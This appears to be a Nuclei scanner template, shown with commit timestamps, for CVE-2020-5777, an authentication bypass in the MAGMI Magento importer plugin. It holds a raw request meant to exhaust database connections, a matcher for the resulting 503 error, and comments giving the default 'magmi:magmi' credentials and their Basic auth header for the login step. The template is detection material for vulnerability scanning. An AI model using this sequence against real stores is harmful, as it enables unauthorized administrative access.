2021-01-02 04:56:15 +00:00
id : CVE-2020-5777
2020-09-04 13:02:17 +00:00
info :
2021-02-05 19:44:41 +00:00
name : Remote Auth Bypass in MAGMI (Magento Mass Importer) Plugin <= v0.7.23
author : dwisiswant0
2020-09-05 06:34:18 +00:00
severity : high
2021-03-24 07:00:21 +00:00
description : MAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure.
reference : https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35
2021-05-18 13:53:10 +00:00
tags : cve,cve2020,magmi,magento
2020-09-04 13:02:17 +00:00
# Response code 503 indicates a potential successful "Too many connections" error
# While the Db connection is down, you can access http://[TARGET]/magmi/web/magmi.php
2021-08-19 14:25:01 +00:00
# with default credential "magmi:magmi" (Authorization: Basic bWFnbWk6bWFnbWk=)
2020-09-04 13:02:17 +00:00
# Tested on a AWS t2.medium with max_connection = 75 and PHP-FPM pm-max_children = 100
requests :
- raw :
- |
GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1
Host : {{Hostname}}
Connection : close
2021-02-05 19:44:41 +00:00
2020-09-04 13:02:17 +00:00
matchers-condition : and
matchers :
- type : word
words :
- "Too many connections"
part : body
- type : status
status :
- 503
